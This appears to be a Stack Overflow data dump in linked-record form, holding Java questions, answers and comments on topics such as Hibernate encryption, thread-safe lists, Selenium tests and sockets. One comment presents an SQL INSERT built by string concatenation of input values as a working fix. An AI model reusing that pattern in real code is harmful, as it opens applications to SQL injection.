has comment: http://stackoverflow.com/comment/33710800
favorite count: 0
has answer: http://stackoverflow.com/a/22205236
type: UnansweredQuestion
tagged with: encryption
has comment: http://stackoverflow.com/comment/33711091
has body: I have a legacy system that uses hibernate interceptor to encrypt (and encode) and decrypt (and decode) some fields on some database tables. It makes use of the OnSave, OnLoad and OnFlushDirty methods. This code turns out to be buggy as data read from this system, when transferred to another application still has some of the records encrypted and encoded (some encrypted multiple times). The challenge for me here is that I could perform the decryption and decoding (as many times as necessary) when the receiving application is on a Windows machine. I get a BadPaddingException when I try to repeat the same thing when the receiving application is a linux VM. Any help/suggestions will be greatly appreciated here is a snippet of the hibernate interceptor public boolean onLoad(Object entity, Serializable arg1, Object[] state, String[] propertyNames, Type[] arg4) throws CallbackException { if (key != null){ try { if (entity instanceof BasicData) { for (int i = 0; i &lt; state.length; i++) { if (state[i] instanceof String){ String cipherText = (String)state[i]; byte[] cipherTextBytes = Base64Coder.decode(cipherText); byte[] plainTextBytes = dCipher.doFinal(cipherTextBytes); state[i] = new String(plainTextBytes, "UTF8"); } } return true; } } catch (Exception e) { e.printStackTrace(); }}return false;}
score: 1
tagged with: java
tagged with: hibernate
upvote count: 1
has answer: http://stackoverflow.com/a/22205318
type: Question
has title: Why encrypted and base64 encoded text appears different on Windows and Linux
has comment: http://stackoverflow.com/comment/33710502
tagged with: database
downvote count: 0

error-handling
tags question: http://stackoverflow.com/q/22226704
tags question: http://stackoverflow.com/q/22210232
tag name: error-handling
tags question: http://stackoverflow.com/q/22252478
type: Tag

http://stackoverflow.com/a/22283145
has comment: http://stackoverflow.com/comment/33851719
answers question: http://stackoverflow.com/q/22282991
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33852029
upvote count: 1
has comment: http://stackoverflow.com/comment/33851964
has body: Try with unicode Unicode corresponding to � is \ufffd String str0 = "aaaaaaa����"; System.out.println(str0.replaceAll("\ufffd", ""));

http://stackoverflow.com/q/22183354
has title: Concurrent linked list reader/writer not working properly
has comment: http://stackoverflow.com/comment/33671954
has comment: http://stackoverflow.com/comment/33672110
has comment: http://stackoverflow.com/comment/33671872
has answer: http://stackoverflow.com/a/22200175
has answer: http://stackoverflow.com/a/22199722
tagged with: java
tagged with: multithreading
has body: I implemented my own concurrent linked list using Java's ReadWriteLock. I wrote the following ConcurrentLinkedList class using the readwritelock. Then I created a reader class: ListReader, and a writer class: ListWriter. Finally I created one writer class and two reader classes for testing. ConcurrentLinkedList class public class ConcurrentLinkedList&lt;T&gt; { public static class Node&lt;T&gt; { T data; Node&lt;T&gt; next; public Node(T data) { this.data = data; this.next = null; } } private Node&lt;T&gt; head = null; private final ReadWriteLock lock = new ReentrantReadWriteLock(); private final Lock readLock = lock.readLock(); private final Lock writeLock = lock.writeLock(); public void add(T a) { writeLock.lock(); try { Node&lt;T&gt; node = new Node&lt;T&gt;(a); Node&lt;T&gt; current = head; if (current == null) { current = node; head = current; } else { while (current.next != null) { current = current.next; } current.next = node; } } finally { writeLock.unlock(); } } public T get(int index) { readLock.lock(); try { int i = 0; Node&lt;T&gt; current = head; while (current != null &amp;&amp; i &lt; index) { current = current.next; i++; } if (current == null) throw new IndexOutOfBoundsException(); return current.data; } finally { readLock.unlock(); } } int size() { readLock.lock(); try { int size = 0; Node&lt;T&gt; current = head; while (current != null) { current = current.next; size++; } return size; } finally { readLock.unlock(); } } } ListWriter class public class ListWriter extends Thread { private ConcurrentLinkedList&lt;Integer&gt; list; private int[] arr; public ListWriter(ConcurrentLinkedList&lt;Integer&gt; list, int[] arr, String name) { this.list = list; this.arr = arr; setName(name); } @Override public void run() { for(int elem : arr) { list.add(elem); System.out.println("Thread " + getName() + " writing " + elem + " to the list"); try { Thread.sleep(50); } catch (InterruptedException e) { e.printStackTrace(); } } } } ListReader class public class ListRe…
type: Question
tagged with: concurrency
has comment: http://stackoverflow.com/comment/33672361
has comment: http://stackoverflow.com/comment/33672127
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/22183542
has comment: http://stackoverflow.com/comment/33672245
has comment: http://stackoverflow.com/comment/33672418
type: UnansweredQuestion

http://stackoverflow.com/q/22204211
has answer: http://stackoverflow.com/a/43805798
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/56628022
possible better answer: http://stackoverflow.com/a/43805798
has answer: http://stackoverflow.com/a/22204695
has title: FAILED CONFIGURATION: @AfterMethod tearDown
tagged with: testng
tagged with: selenium-webdriver
type: AnsweredQuestion
has body: iam new to selenium webdriver. iam trying to run a Testng Test Parellel on two browsers but iam struck, getting the Following error. when trying to run. package rough; import org.testng.annotations.AfterMethod; import org.testng.annotations.Optional; import org.testng.annotations.Parameters; import org.testng.annotations.Test; import org.testng.annotations.BeforeMethod; import org.testng.Assert; import java.util.regex.Pattern; import java.util.concurrent.TimeUnit; import org.junit.*; import static org.hamcrest.CoreMatchers.*; import org.openqa.selenium.*; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.firefox.FirefoxDriver; import org.openqa.selenium.ie.InternetExplorerDriver; import org.openqa.selenium.support.ui.Select; public class Browsers { private WebDriver driver; private String baseUrl; private boolean acceptNextAlert = true; private StringBuffer verificationErrors = new StringBuffer(); @BeforeMethod public void tearDown1() throws Exception { System.out.println("Hello starting"); } @Parameters("BROWSER") public void setUp(@Optional String BROWSER) throws Exception { //To run test case parallely in different browsers if(BROWSER.equalsIgnoreCase("FF")) { //System.out.println(“Firefox driver would be used”); driver = new FirefoxDriver(); } else if(BROWSER.equalsIgnoreCase("IE")) { //System.out.println(“Ie webdriver would be used”); System.setProperty("webdriver.ie.driver", "g:/Selenium Jar Files/IEDriverServer.exe"); driver = new InternetExplorerDriver(); } // driver = new FirefoxDriver(); baseUrl = "http://book.theautomatedtester.co.uk/"; driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); } @Test public void test() throws Exception { driver.get(baseUrl + "/chapter1"); driver.findElement(By.id("radiobutton")).click(); new Select(driver.findElement(By.id("selecttype"))).selectByVisibleText("Selenium RC"); } @AfterMethod public void tearDown() throws Exception { driver.quit(); String verificationErrorString = verification…
tagged with: java
accepted answer: http://stackoverflow.com/a/22204695
type: Question

http://stackoverflow.com/comment/33822445
type: QuestionComment
type: Comment
has text: I think your code is correct. In addtion to, you may add some custom methods for your exception class. For exaple; you throw an error code and your method matches the error code explanation and return it for exception message. Good luck !
comment on: http://stackoverflow.com/q/22266797
score: 0

querying
type: Tag
tag name: querying
tags question: http://stackoverflow.com/q/22191975

http://stackoverflow.com/comment/33840719
has text: thanks! i changed it to: int val = st.executeUpdate("INSERT into results (name ,value) VALUES (\""+insertDataName+"\", "+insertDataValue+")"); and it worked.. i removed id because it is auto incremented
type: Comment
comment on: http://stackoverflow.com/a/22276891
score: 0
type: AnswerComment

http://stackoverflow.com/q/22271965
accepted answer: http://stackoverflow.com/a/22453107
downvote count: 0
favorite count: 0
tagged with: smack
linked to: http://stackoverflow.com/q/31554950
has title: Sending inline images using Smack XMPP
tagged with: instant-messaging
type: AnsweredQuestion
has body: I am about to create a simple xmpp java client application and for this I am considering to use the Smack XMPP library, which works pretty well. One feature of the client should be to send inline images to your chatpartner. I browsed through the javadoc of SMACK but I was not able to find how it's possible to send images or in general binary data with SMACK/XMPP. I am not talking about a standard file transfer that the receiving user has to accept, but rather an image which can be sent within a message. Is this possible with SMACK/XMPP? Can anybody provide an example?
score: 1
tagged with: java
upvote count: 1
has answer: http://stackoverflow.com/a/22453107
type: Question
possible better answer: http://stackoverflow.com/a/51095145
has answer: http://stackoverflow.com/a/51095145
answer count: 2
tagged with: xmpp

http://stackoverflow.com/q/22317215
answer count: 4
upvote count: 11
tagged with: java
has answer: http://stackoverflow.com/a/22320510
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/39128352
has body: I have a context.xml file in the below format <Context shallowOutput="true" path="/"> WEB-INF/web.xml <Resource name="jdbc/myDataSource" auth="Container" type="javax.sql.DataSource" factory="org.apache.commons.dbcp.BasicDataSourceFactory" driverClassName="oracle.jdbc.driver.OracleDriver" username="OMITTED" password="OMITTED" url="OMITTED" maxActive="20" maxIdle="10" maxWait="-1"/> From this contex.xml I need to get my Driver CLASS name. Everytime I try like DataSource ds = (DataSource)context.lookup("java:/jdbc/myDataSource") and try to like get the the Driver Class name from the connection using ds.getConnection().getMetatData().getDriverName() It is returning just Oracle JDBC Driver instead of the class name oracle.jdbc.driver.OracleDriver How can I get the class name from the context.
tagged with: jndi
score: 10
has answer: http://stackoverflow.com/a/23338732
has comment: http://stackoverflow.com/comment/70824484
has comment: http://stackoverflow.com/comment/33913649
has title: How to get driver class name (not driver name) from jdbc connection
has comment: http://stackoverflow.com/comment/33917432
has comment: http://stackoverflow.com/comment/33913384
has answer: http://stackoverflow.com/a/33265781
favorite count: 0
type: UnansweredQuestion
tagged with: oracle-database
tagged with: jdbc

http://stackoverflow.com/comment/33890178
comment on: http://stackoverflow.com/q/22284302
score: 0
type: Comment
type: QuestionComment
has text: @fge, no actually I just copied this example, the problem is, I need to find all URLs inside some string.

http://stackoverflow.com/comment/33792907
type: QuestionComment
comment on: http://stackoverflow.com/q/22250742
type: Comment
has text: could you please add the source code which shows the exact types of `context, position, scale, slider_titles, slider_images_`?
score: 0

http://stackoverflow.com/q/22174399
has title: separate IP address for wildcard sub domain
type: UnansweredQuestion
downvote count: 0
score: 1
tagged with: java
has body: My project is a template engine using wildcard sub domain for different users. each subdomains are dynamiclly generated like user1.domain.com,user2.domain.com etc.contents are loaded dynamically. It also use wildcard ssl for security. is it possible to assign separate IP address for each sub domains? My project is developed in java and struts. Help is highly appreciable Thanks,
type: Question
tagged with: apache
tagged with: wildcard
upvote count: 1
has answer: http://stackoverflow.com/a/22174601
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/33890872
has text: added :) hopefully we can sort it :) the application will keep adding textviews and edittexts as desired but the will not appear side by side :/
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22247307

http://stackoverflow.com/a/22190482
score: 0
accepted answer of: http://stackoverflow.com/q/22190332
answers question: http://stackoverflow.com/q/22190332
has body: Are you changing all the nameLabel values in the array list? If so, you can try this in your for loop: for(int s =0; s&lt; WgsGrid.INFOLable.size();s++){ WgsGrid.INFOLable.get(s).setNameLabel("whatever"); } You need to create a setter method for nameLabel though. public void setNameLabel(String nameLabel){ this.nameLabel = nameLabel; } (I've changed from ylabels.length to the arraylist's size. Not sure what you were doing with ylabels)
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/33903352
score: 2
has text: @jbandi I've updated the answer to better answer your second question which I had misread.
type: AnswerComment
comment on: http://stackoverflow.com/a/22307315
type: Comment

http://stackoverflow.com/comment/33800223
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22254632
has text: i need to know how to implement it. and im sorry Naplatny... i means matrix in a tree.. i will go and add more details

http://stackoverflow.com/q/22210420
answer count: 0
has comment: http://stackoverflow.com/comment/33720817
upvote count: 1
has comment: http://stackoverflow.com/comment/33720584
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33720973
tagged with: java
score: 0
has comment: http://stackoverflow.com/comment/33720985
favorite count: 0
has body: I've a server which is connected to another server over a RPC connection. The number of messages that I get are over million an hour. I have to save these into DB. if there is a failure to save the messages to the DB for some reason, what should be the fail over scenario in this case? What should we make sure so that the messages will be available after the system is up?
type: UnansweredQuestion
tagged with: architecture
has title: Fail over solutions in a high volume application

http://stackoverflow.com/comment/33780730
comment on: http://stackoverflow.com/a/22243204
type: AnswerComment
score: 0
has text: @user2028018 Wel come.. Glad to help you!!
type: Comment

http://stackoverflow.com/comment/33748823
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22226395
type: AnswerComment
has text: Yes, it has, but this method is not static.

http://stackoverflow.com/comment/33921454
type: Comment
type: QuestionComment
has text: It isn't intrinsically wrong to specify a concrete implementation.
comment on: http://stackoverflow.com/q/22322128
score: 0

http://stackoverflow.com/a/22241896
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33777471
answers question: http://stackoverflow.com/q/22241812
upvote count: 1
type: Answer
has body: How to parse per item: Double.parseDouble("your string here"); As for the storing, I didnt get the pattern you want to store your values. What's the reason why you want 1.0, 2, and 2.1 in 1 array and 2.0, 7.6, and 3.0 to another?
has comment: http://stackoverflow.com/comment/33777374

http://stackoverflow.com/comment/33677819
score: 0
type: AnswerComment
has text: @user3381441 ummm, that doesn't help us, because we don't know what code you're getting the error on or what your fixes were.
comment on: http://stackoverflow.com/a/22186661
type: Comment

http://stackoverflow.com/comment/33808979
type: QuestionComment
comment on: http://stackoverflow.com/q/22255105
has text: Do you manage to load your class in case of expanded binaries directory instead of a .jar?
score: 0
type: Comment

http://stackoverflow.com/a/22220373
type: Answer
has body: The simplest solution is to backup your eclipse and adt folders when they're working nicely. With this in mind, reinstall eclipse and back it up when it's running nicely. Don't forget to give it as much memory as you can spare, especially if you're emulating an android device.
answers question: http://stackoverflow.com/q/22220248
score: 0

http://stackoverflow.com/q/22261579
has answer: http://stackoverflow.com/a/22263893
has comment: http://stackoverflow.com/comment/33813661
accepted answer: http://stackoverflow.com/a/22263893
has body: So, I'm developing a drag-and-drop style visual designer in Java using Swing. Since the components that you see on the designer aren't actual components, only a visual representation (e.g. buttons can't be clicked, text fields can't accept text, etc) I'm painting them directly on my panel, overriding the methods getX(), getY(), getWidth() and getHeight(). It works perfectly fine on any LookAndFeel except for WindowsLookAndFeel. There, for some reason, the backgrounds of JButtons are not being painted. I have to use Windows LookAndFeel for the designer because that's how our software is deployed, and if I use a different LookAndFeel the designer layout will not be the same as our software. I've lost a few hours trying to solve this problem, and I suspect that it's happening because by not adding the JButton on a container, it's native peer has not been instantiated. I've tried to create the peer manually, but without success. I have noticed this problem on Windows 7 (With Aero) and Windows 8. If I use the classic theme on Windows 7 it works, so I assume it also works on Windows XP (But I haven't tested this). I'm using Java 1.7.0_25-b17 to test this. Here's a sample I've made to show the problem: package test; import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import javax.swing.BorderFactory; import javax.swing.BoxLayout; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.UIManager; import javax.swing.UnsupportedLookAndFeelException; public class TestSwing { public static void main(String[] args) { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) { } JFrame f = new JFrame(); f.setSize(300, 150); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.getContentPane().setLayout(new BoxLayout(f.getContentPane(), BoxLayout.X_AXIS)); JPanel p1 = new JPanel(…
has title: JButton directly painted into panel does not show background with WindowsLookAndFeel
has comment: http://stackoverflow.com/comment/33826837
has answer: http://stackoverflow.com/a/22262248
score: 2
downvote count: 0
tagged with: swing
has comment: http://stackoverflow.com/comment/33813999
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33814175
tagged with: java
possible better answer: http://stackoverflow.com/a/22262248
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33814543
answer count: 2
has comment: http://stackoverflow.com/comment/33813939
has comment: http://stackoverflow.com/comment/33813721
has comment: http://stackoverflow.com/comment/33814852
favorite count: 0
has comment: http://stackoverflow.com/comment/33813800
has comment: http://stackoverflow.com/comment/33814451

http://stackoverflow.com/comment/33885889
comment on: http://stackoverflow.com/q/22301624
score: 0
has text: Yes, the top_logo.png exit in my folder image and i have a inc folder under webcontent
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22280869
type: AcceptedAnswer
type: Answer
upvote count: 4
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22280846
answers question: http://stackoverflow.com/q/22280846
score: 4
has body: You cannot compare string using the == equality operator. == tests whether 2 objects are the same object. Use .equals() instead. Because of string interning, this statement may or may not be true but you have no control over that. page_number=="FirstPage(Color)Minimum12Maximum80ColumnInch-14500PerColumn/Inch" This will always work. page_number.equals("FirstPage(Color)Minimum12Maximum80ColumnInch-14500PerColumn/Inch")

http://stackoverflow.com/comment/33681239
type: AnswerComment
has text: Very true, not the question though?
type: Comment
score: 1
comment on: http://stackoverflow.com/a/22188667

http://stackoverflow.com/a/22298822
upvote count: 1
answers question: http://stackoverflow.com/q/22298001
downvote count: 0
has comment: http://stackoverflow.com/comment/33939789
type: Answer
score: 1
has body: By writing int System = 22; you are hiding the class java.lang.System. So when you try to do System.out.println(... the compiler thinks you want to have access the varilable out of an int which it doesn't have as it is a primitive type. You could write int system = 22; System.out.println(system); Variable names should start with lowercase anyways.

http://stackoverflow.com/comment/33746580
has text: And what do you mean by "subregex"?
comment on: http://stackoverflow.com/q/22225268
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33805817
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/22257784
has text: Structs are similar to _classes_. The fact that it has no name makes no difference.

http://stackoverflow.com/a/22207601
accepted answer of: http://stackoverflow.com/q/22207549
type: Answer
answers question: http://stackoverflow.com/q/22207549
score: 3
has comment: http://stackoverflow.com/comment/33715789
downvote count: 0
has comment: http://stackoverflow.com/comment/33717078
type: AcceptedAnswer
has body: /hel\w{2}/ should do the trick. That matches the literal "hel" followed by any 2 word characters, which are defined as the character class [a-zA-Z_0-9]
has comment: http://stackoverflow.com/comment/33722458
upvote count: 3
has comment: http://stackoverflow.com/comment/33722361

http://stackoverflow.com/comment/33674646
score: 0
has text: There seems to be a lot of arbitrary upvoting on questions. It's been happening since SO opened, and I'd love to know if it's an automatic process to encourage new users.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22184521

http://stackoverflow.com/q/22189742
type: Question
has comment: http://stackoverflow.com/comment/33683623
tagged with: java
accepted answer: http://stackoverflow.com/a/22189836
has comment: http://stackoverflow.com/comment/33683215
has comment: http://stackoverflow.com/comment/33683927
answer count: 2
has body: How client A send message to Client B and B send Message to Server S.And also how communication takes place between A and B?I have tried and solved problem for two party i.e single client and single server. I have tried in the following way //Server public class DateServer { public static void main(String[] args) throws IOException { ServerSocket listener = new ServerSocket(9090); try { while (true) { Socket socket = listener.accept(); System.out.println("Waiting for client on port " + listener.getLocalPort() + "..."); try { PrintWriter out = new PrintWriter(socket.getOutputStream(), true); out.println(new Date().toString()); } finally { socket.close(); } } } finally { listener.close(); } } } //Client public class DateClient { public static void main(String[] args) throws IOException { String serverAddress = JOptionPane.showInputDialog( "Enter IP Address of a machine that is\n" + "running the date service on port 9090:"); Socket s = new Socket(serverAddress, 9090); BufferedReader input = new BufferedReader(new InputStreamReader(s.getInputStream())); String answer = input.readLine(); JOptionPane.showMessageDialog(null, answer); //System.exit(0); System.out.println(answer); } } How communication takes palce between client in java socket programming . But i am not getting idea how communication takes place between A , B and S.I have tried too much but not succeeded.I waiting for best answer
favorite count: 0
has answer: http://stackoverflow.com/a/22189836
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33683316
possible better answer: http://stackoverflow.com/a/22189855
score: 0
has answer: http://stackoverflow.com/a/22189855
upvote count: 1
downvote count: 1
has title: How A ,B and S communicate in java in Socket programming?

http://stackoverflow.com/comment/33774440
has text: +1 great answer but if he still want to use null layout i think that his problem is he didn't suggest a size in columns
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22240210
type: Comment

http://stackoverflow.com/a/22293618
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22293264
type: Answer
accepted answer of: http://stackoverflow.com/q/22293264
downvote count: 0
score: 1
has body: Generics are checked only at compile time and are replaced with the proper types during compilation. ConverterTwo code will be converted to ConverterOne kind of code during compilation and thus both are equivalent. Generics are especially useful when you write an API where you do not know what kind of objects the consumer of the API's are going to pass. In your case, if you plan to write a generic adapter. Classic example of genrics : Collection Interface and the classes that implement it.

http://stackoverflow.com/a/44907853
downvote count: 0
answers question: http://stackoverflow.com/q/22275778
has body: Java is compiled from .java files to .class files. The .class files consist of a bunch of bytecodes. Bytecode is to Java what assembler is to C++. Each bytecode is a number no larger than a byte and has a mnemonic. The numbers and their mnemonic are what you have listed in your question.
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/22174714
has body: I have an I/O device and i'm making an app, that must query the status of input on the device, and to switch on and off the output of the device. If any one can help me please? i need to do it through IP. public void port11 (View view) { webView = (WebView) findViewById(R.id.webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl("http://192.168.2.66/index.html?o1=1"); } The Above code works but its way to slow, I need something faster, help will be much appreciated. i'm struggling to get faster speed with out crashing the ui, i would like advice on various paths and codes to achieve faster speeds with out crashing the ui.
has comment: http://stackoverflow.com/comment/33655850
tagged with: android-studio
has comment: http://stackoverflow.com/comment/33656387
downvote count: 2
tagged with: ip
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22179400
score: -2
tagged with: java
has comment: http://stackoverflow.com/comment/33657913
has comment: http://stackoverflow.com/comment/33656447
type: Question
upvote count: 0
answer count: 1
has title: Android need help to code
favorite count: 0
accepted answer: http://stackoverflow.com/a/22179400
tagged with: android
tagged with: io
has comment: http://stackoverflow.com/comment/33656899

http://stackoverflow.com/q/22273713
tagged with: spring-mvc
tagged with: java
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33834717
has body: I want to use spring's dependency injection for now(other core functionalites later maybe) in tomcat application. I want to set up spring 2.5.5 in tomcat7, But don't have clarity on how to do this. Specifically I am confused because I don't know whether to use Spring MVC or use just spring in tomcat. I found this question helpful: Tomcat with Spring, But still didn't get the whole scenario on how to setup tomcat with spring.
has answer: http://stackoverflow.com/a/22273764
answer count: 1
tagged with: tomcat
has title: Using spring core functionalities in tomcat based jersey application
type: UnansweredQuestion
tagged with: spring
linked to: http://stackoverflow.com/q/4066971

http://stackoverflow.com/a/22284273
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33857285
answers question: http://stackoverflow.com/q/22284253
has comment: http://stackoverflow.com/comment/33853851
has body: Use a ViewPager. Really easy to use, just extend a FragmentPagerAdapter to create the fragments to swipe between.
upvote count: 2

http://stackoverflow.com/comment/33887144
comment on: http://stackoverflow.com/q/22302689
score: 0
type: Comment
type: QuestionComment
has text: This question appears to be off-topic because it lacks research (even after a link to the relevant page was kindly provided by a reader)

http://stackoverflow.com/comment/33853155
has text: Cheers. Will this also take into consideration where the `input` is less than 5 digits?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22283918

http://stackoverflow.com/comment/33927584
comment on: http://stackoverflow.com/q/22306637
has text: tough one (read: no idea what's happening ;-) - but I can reproduce the error following the steps as described. No time to dig deeper, just a rather weird observation: when I click into the first - producing the visual switch-back in the second - the second's paintComponent is _not_ called again. Independent on layoutManager, or random ...
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22242714
has comment: http://stackoverflow.com/comment/33778666
linked to: http://stackoverflow.com/q/5868369
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33779016
has body: Can any one suggest, how to use string-tokens in java, to read all data in a file, and display only some of its contents. Like, if i have apple = 23456, mango = 12345, orange= 76548, guava = 56734 I need to select apple, and the value corresponding to apple should be displayed in the output. This is the code import java.io.BufferedReader; import java.io.FileReader; import java.util.StringTokenizer; public class ReadFile { public static void main(String[] args) { try { String csvFile = "Data.txt"; //create BufferedReader to read csv file BufferedReader br = new BufferedReader(new FileReader(csvFile)); String line = ""; StringTokenizer st = null; int lineNumber = 0; int tokenNumber = 0; //read comma separated file line by line while ((line = br.readLine()) != null) { lineNumber++; //use comma as token separator st = new StringTokenizer(line, ","); while (st.hasMoreTokens()) { tokenNumber++; //display csv values System.out.print(st.nextToken() + " "); } System.out.println(); //reset token number tokenNumber = 0; } } catch (Exception e) { System.err.println("CSV file cannot be read : " + e); } } } this is the file I'm working on : ImageFormat=GeoTIFF ProcessingLevel=GEO ResampCode=CC NoScans=10496 NoPixels=10944 MapProjection=UTM Ellipsoid=WGS_84 Datum=WGS_84 MapOriginLat=0.00000000 MapOriginLon=0.00000000 ProdULLat=18.54590200 ProdULLon=73.80059300 ProdURLat=18.54653200 ProdURLon=73.90427600 ProdLRLat=18.45168500 ProdLRLon=73.90487900 ProdLLLat=18.45105900 ProdLLLon=73.80125300 ProdULMapX=373416.66169100 ProdULMapY=2051005.23286800 ProdURMapX=384360.66169100 ProdURMapY=2051005.23286800 ProdLRMapX=373416.66169100 ProdLRMapY=2040509.23286800 ProdLLMapX=384360.66169100 ProdLLMapY=2040509.23286800 Out of this, i need to display only the following : NoScans NoPixels ProdULLat ProdULLon ProdLRLat ProdLRLon
has comment: http://stackoverflow.com/comment/33779961
has answer: http://stackoverflow.com/a/22242829
has comment: http://stackoverflow.com/comment/33780011
has comment: http://stackoverflow.com/comment/33778684
tagged with: java
has answer: http://stackoverflow.com/a/22243137
has comment: http://stackoverflow.com/comment/33778760
tagged with: stringtokenizer
has title: usage of stringtokenizer in java to display selected contents from a file
type: Question
has comment: http://stackoverflow.com/comment/33780170
has comment: http://stackoverflow.com/comment/33778711
has comment: http://stackoverflow.com/comment/33779797
tagged with: java-io
has comment: http://stackoverflow.com/comment/33779860
has comment: http://stackoverflow.com/comment/33778677
score: 0
has answer: http://stackoverflow.com/a/22243095
answer count: 3
tagged with: file-io

http://stackoverflow.com/comment/33763714
has text: I figured it out, thanks. Now my problem is that clicking on a contact doesn't actually take me to a new screen for whatever reason.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22234451
type: AnswerComment

http://stackoverflow.com/comment/33867909
comment on: http://stackoverflow.com/a/22252747
has text: Also, I am checking the boolean values. If the login fails, the ftp.cwd code won't execute. But, this code is executing, which means login is a success. Any other reason for error code 530?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33819128
type: Comment
has text: See my answer and tell what results your have...
comment on: http://stackoverflow.com/q/22264617
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33821938
comment on: http://stackoverflow.com/q/22266079
score: 0
type: Comment
type: QuestionComment
has text: Is the whole code block you posted run each time you pick up an item?

http://stackoverflow.com/q/22318910
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33916331
answer count: 0
tagged with: java
type: Question
has title: Injecting instructions to the byte code
has comment: http://stackoverflow.com/comment/33915922
has comment: http://stackoverflow.com/comment/33918064
score: 0
has body: I need to inject below code some other class file can any one help me to inject this code long MEGABYTE = 1024L * 1024L; Runtime runtime = Runtime.getRuntime(); runtime.gc(); long memory = runtime.totalMemory() - runtime.freeMemory(); double memoryUsage=(double)memory/MEGABYTE;

http://stackoverflow.com/a/22312407
type: AcceptedAnswer
type: Answer
has body: I was doing a similar program a few years ago, for Breadth First Search using multiple children. What you need to do is modify the Node class to something like this: class BFSNode { int val; BFSNode parent; LinkedList&lt;BFSNode&gt; allChildren = new LinkedList&lt;BFSNode&gt;(); } The Linked List is useful for holding all the childrens together. Here is the complete code, it was written to find the Breadth First Search Algorithm (Note it is probably a very inefficient program, but it gets the job done) import java.util.LinkedList; class BFSNode { int val; BFSNode parent; LinkedList&lt;BFSNode&gt; allChildren = new LinkedList&lt;BFSNode&gt;(); } public class BFSTree { BFSNode root = null; public void add(int insertVal, int parentVal) { BFSNode newNode = new BFSNode(); newNode.val = insertVal; BFSNode parentNode = null; if (root == null) { root = newNode; System.out.println("Added insertVal :" + insertVal + " at parent :" + root.val); } else if (root.val == parentVal) { root.allChildren.add(newNode); System.out.println("Added insertVal :" + insertVal + " at parent :" + root.val); } else { parentNode = BFS(parentVal); if (parentNode == null) { System.out.println("Parent does not exist"); } else { parentNode.allChildren.add(newNode); System.out.println("Added insertVal :" + insertVal + " at parent :" + parentNode.val); } } } public BFSNode BFS(int parentVal) { BFSNode markBfsNode = root; LinkedList&lt;BFSNode&gt; childrenQueue = new LinkedList&lt;BFSNode&gt;(); while (true) { for (int i = 0; i &lt; markBfsNode.allChildren.size(); i++) { if (markBfsNode.allChildren.get(i).val == parentVal) { return markBfsNode.allChildren.get(i); } else { childrenQueue.add(markBfsNode.allChildren.get(i)); } } if (childrenQueue.getFirst() == null) { System.out.println("Element not found"); return null; } else { markBfsNode = childrenQueue.getFirst(); childrenQueue.poll(); } } } public void printBFS() { BFSNode markBfsNode = root; LinkedList&lt;BFSNode&gt; childrenQueue = new LinkedList&lt…
accepted answer of: http://stackoverflow.com/q/22268589
answers question: http://stackoverflow.com/q/22268589
has comment: http://stackoverflow.com/comment/33993503
score: 0

http://stackoverflow.com/comment/33677893
type: Comment
score: 1
has text: @aire `someFooReference.compareTo(someOtherFooReference)`
comment on: http://stackoverflow.com/a/22186693
type: AnswerComment

http://stackoverflow.com/comment/33724445
type: Comment
comment on: http://stackoverflow.com/a/22212300
score: 0
type: AnswerComment
has text: @user3207391 - A map would give you the functionality you're looking for as Hot Licks has said.

http://stackoverflow.com/comment/33754378
type: Comment
type: QuestionComment
has text: -1 : There are already so many answers about string pool that I wonder how you can ask this one, unless you haven't searched at all on SO.
score: 2
comment on: http://stackoverflow.com/q/22229691

http://stackoverflow.com/comment/33655608
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/22174626
has text: Now because of the '*' we will never know what you meant.
type: Comment

http://stackoverflow.com/q/22174682
tagged with: guava
accepted answer: http://stackoverflow.com/a/22174779
tagged with: java
has comment: http://stackoverflow.com/comment/33656236
has title: Why is there private method outOfBoundsMsg in java.util.ArrayList?
type: Question
tagged with: arraylist
tagged with: jvm-hotspot
has answer: http://stackoverflow.com/a/22174779
answer count: 1
downvote count: 0
favorite count: 0
tagged with: exception
score: 6
